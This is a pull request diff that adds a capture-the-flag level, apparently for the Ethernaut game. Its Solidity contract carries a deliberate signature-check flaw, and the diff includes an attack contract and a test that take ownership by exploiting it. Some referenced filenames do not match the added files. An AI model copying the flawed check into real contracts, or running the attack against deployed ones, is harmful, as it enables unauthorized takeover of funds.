Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
163 changes: 45 additions & 118 deletions client/src/gamedata/authors.json
Original file line number Diff line number Diff line change
@@ -1,152 +1,79 @@
{
"authors": {
"ajsantander": {
"name": [
"Alejandro Santander"
],
"emails": [
"[email protected]"
],
"websites": [
"https://github.com/ajsantander"
],
"name": ["Alejandro Santander"],
"emails": ["[email protected]"],
"websites": ["https://github.com/ajsantander"],
"donate": "0x31a3801499618d3c4b0225b9e06e228d4795b55d"
},
"martriay": {
"name": [
"Martin Triay"
],
"emails": [
"[email protected]"
],
"websites": [
"https://github.com/martriay"
]
"name": ["Martin Triay"],
"emails": ["[email protected]"],
"websites": ["https://github.com/martriay"]
},
"AgeManning": {
"name": [
"Adrian Manning"
],
"emails": [
"[email protected]"
],
"websites": [
"https://github.com/AgeManning"
],
"name": ["Adrian Manning"],
"emails": ["[email protected]"],
"websites": ["https://github.com/AgeManning"],
"donate": "0x0f44CD2Ca92645Ada2E47155e4dFC0025c3E9EEc"
},
"syncikin": {
"name": [
"Kyle Riley"
],
"emails": [
"[email protected]"
],
"websites": [
"https://github.com/syncikin"
]
"name": ["Kyle Riley"],
"emails": ["[email protected]"],
"websites": ["https://github.com/syncikin"]
},
"34x4p08": {
"name": [
"Ivan Zakharov"
],
"emails": [
"[email protected]"
],
"websites": [
"https://github.com/34x4p08"
]
"name": ["Ivan Zakharov"],
"emails": ["[email protected]"],
"websites": ["https://github.com/34x4p08"]
},
"0age": {
"name": [
"0age"
],
"emails": [
"[email protected]"
],
"websites": [
"https://github.com/0age"
]
"name": ["0age"],
"emails": ["[email protected]"],
"websites": ["https://github.com/0age"]
},
"nczhu": {
"name": [
"Nicole Zhu"
],
"emails": [
"[email protected]"
],
"websites": [
"https://github.com/nczhu"
]
"name": ["Nicole Zhu"],
"emails": ["[email protected]"],
"websites": ["https://github.com/nczhu"]
},
"patrickalphac": {
"name": [
"Patrick Collins"
],
"emails": [
"[email protected]"
],
"websites": [
"http://alphachain.io/blogs/"
],
"name": ["Patrick Collins"],
"emails": ["[email protected]"],
"websites": ["http://alphachain.io/blogs/"],
"donate": "0x874437B5a42aA6E6419eC2447C9e36c278c46532"
},
"scottt": {
"name": [
"Scott Tsai"
],
"emails": [
"[email protected]"
],
"websites": [
"http://scottt.tw"
],
"name": ["Scott Tsai"],
"emails": ["[email protected]"],
"websites": ["http://scottt.tw"],
"donate": "scottt.eth"
},
"openzeppelin": {
"name": [
"OpenZeppelin"
],
"emails": [
"[email protected]"
],
"websites": [
"https://openzeppelin.com"
]
"name": ["OpenZeppelin"],
"emails": ["[email protected]"],
"websites": ["https://openzeppelin.com"]
},
"openzeppelin&forta": {
"name": [
"OpenZeppelin",
"Forta"
],
"emails": [
"[email protected]",
"[email protected]"
],
"websites": [
"https://openzeppelin.com",
"https://forta.org"
]
"name": ["OpenZeppelin", "Forta"],
"emails": ["[email protected]", "[email protected]"],
"websites": ["https://openzeppelin.com", "https://forta.org"]
},
"ericnordelo": {
"name": [
"Eric Nordelo"
],
"emails": [
"[email protected]"
],
"websites": [
"https://www.ericnordelo.com/"
]
"name": ["Eric Nordelo"],
"emails": ["[email protected]"],
"websites": ["https://www.ericnordelo.com/"]
},
"KStasi": {
"name": [
"Anastasiia Kondaurova"
],
"name": ["Anastasiia Kondaurova"],
"emails": [],
"websites": [
"https://www.linkedin.com/in/kstasi/"
]
"websites": ["https://www.linkedin.com/in/kstasi/"]
},
"staa99": {
"name": "Ahmad Alfawwaz Timehin",
"emails": ["[email protected]"],
"websites": ["https://github.com/staa99"],
"donate": "0x534DBE4e23E48faC59847F120a80A83F764a381F"
}
}
}
}
5 changes: 5 additions & 0 deletions client/src/gamedata/en/descriptions/levels/switch.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
Claim ownership of the contract below to complete this level.

 
Things that might help
* See the Help page above, section "Beyond the console"
6 changes: 6 additions & 0 deletions client/src/gamedata/en/descriptions/levels/switch_complete.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
Signature verification is a sensitive operation and improper use can lead to impersonation attacks.
The resulting vulnerability is made more significant when impersonation can lead to privilege escalation
or unauthorized access to funds. This level demonstrates why it is important to understand signature
generation and validation. Refer to the
[signature verification page](https://docs.openzeppelin.com/contracts/2.x/utilities#checking_signatures_on_chain)
on OpenZeppelin contracts to learn more.
17 changes: 16 additions & 1 deletion client/src/gamedata/gamedata.json
Original file line number Diff line number Diff line change
Expand Up @@ -446,6 +446,21 @@
"deployId": "28",
"instanceGas": 1000000,
"author": "KStasi"
},
{
"name": "Switch-2",
"created": "2022-05-21",
"difficulty": "2",
"description": "switch2.md",
"completedDescription": "switch_complete2.md",
"levelContract": "SwitchFactory2.sol",
"instanceContract": "Switch2.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 0,
"deployId": "32",
"instanceGas": 300000,
"author": "staa99"
}
]
}
}
19 changes: 19 additions & 0 deletions contracts/contracts/attacks/SwitchAttack-2.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../levels/Switch2.sol";

contract SwitchAttack2 {
function attack(
address _target,
address _player,
uint8 v,
bytes32 r,
bytes32 s
) public {
Switch2 target = Switch2(_target);
target.changeOwnership(v, r, s);
target.changeOwnership(_player);
}
}
45 changes: 45 additions & 0 deletions contracts/contracts/levels/Switch2.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch2 {
address public owner;

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

constructor() {
owner = msg.sender;
}

// Changes the ownership of the contract. Can only be called by the owner.
function changeOwnership(address _owner) public onlyOwner {
owner = _owner;
}

// Changes the ownership of the contract to the sender provided the signature is created by the owner
function changeOwnership(
uint8 v,
bytes32 r,
bytes32 s
) public {
require(
ecrecover(generateHash(owner), v, r, s) != address(0),
"signer is not the owner"
);
owner = msg.sender;
}

// Generates a hash compatible with EIP-191 signatures
function generateHash(address _addr) private pure returns (bytes32) {
bytes32 addressHash = keccak256(abi.encodePacked(_addr));
return
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
addressHash
)
);
}
}
22 changes: 22 additions & 0 deletions contracts/contracts/levels/SwitchFactory2.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./base/Level.sol";
import "./Switch2.sol";

contract SwitchFactory2 is Level {
function createInstance(address) public payable override returns (address) {
Switch2 instance = new Switch2();
return address(instance);
}

function validateInstance(address payable _instance, address _player)
public
view
override
returns (bool)
{
Switch2 instance = Switch2(_instance);
return instance.owner() == _player;
}
}
65 changes: 65 additions & 0 deletions contracts/test/levels/Switch2.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
/*eslint no-undef: "off"*/
const Switch = artifacts.require('./levels/Switch2.sol');
const SwitchFactory = artifacts.require('./levels/SwitchFactory2.sol');
const SwitchAttack = artifacts.require('./attacks/SwitchAttack2.sol');

const utils = require('../utils/TestUtils');

contract('Switch-2', function (accounts) {
let ethernaut;
let level;
let owner = accounts[1];
let player = accounts[0];

before(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await SwitchFactory.new();
await ethernaut.registerLevel(level.address);
});

it('should fail if the player did not solve the level', async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
Switch
);

const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);

assert.isFalse(completed);
});

it('should allow the player to solve the level', async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
Switch
);

const attacker = await SwitchAttack.new();
const signature = await web3.eth.sign(web3.utils.keccak256(owner), player);
await attacker.attack(
instance.address,
player,
`0x${signature.slice(130, 132)}`,
signature.slice(0, 66),
`0x${signature.slice(66, 130)}`
);

const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);

assert.isTrue(completed);
});
});